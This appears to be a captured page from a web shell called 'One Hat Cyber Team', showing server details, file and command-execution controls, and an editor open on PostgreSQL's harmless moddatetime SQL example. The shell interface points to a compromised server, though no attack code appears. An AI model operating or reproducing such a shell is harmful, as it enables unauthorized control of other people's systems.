⚝
One Hat Cyber Team
⚝
Your IP:
192.168.31.6
Server IP:
192.168.1.11
Server:
Linux pams 6.1.0-29-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.123-1 (2025-01-02) x86_64
PHP Version:
8.2.28
Buat File
|
Buat Folder
Upload File
Eksekusi
Dir :
~
/
usr
/
share
/
doc
/
postgresql-15
/
examples
/
Edit File: moddatetime.example
DROP TABLE mdt; CREATE TABLE mdt ( id int4, idesc text, moddate timestamp DEFAULT CURRENT_TIMESTAMP NOT NULL ); CREATE TRIGGER mdt_moddatetime BEFORE UPDATE ON mdt FOR EACH ROW EXECUTE PROCEDURE moddatetime (moddate); INSERT INTO mdt VALUES (1, 'first'); INSERT INTO mdt VALUES (2, 'second'); INSERT INTO mdt VALUES (3, 'third'); SELECT * FROM mdt; UPDATE mdt SET id = 4 WHERE id = 1; UPDATE mdt SET id = 5 WHERE id = 2; UPDATE mdt SET id = 6 WHERE id = 3; SELECT * FROM mdt;
Simpan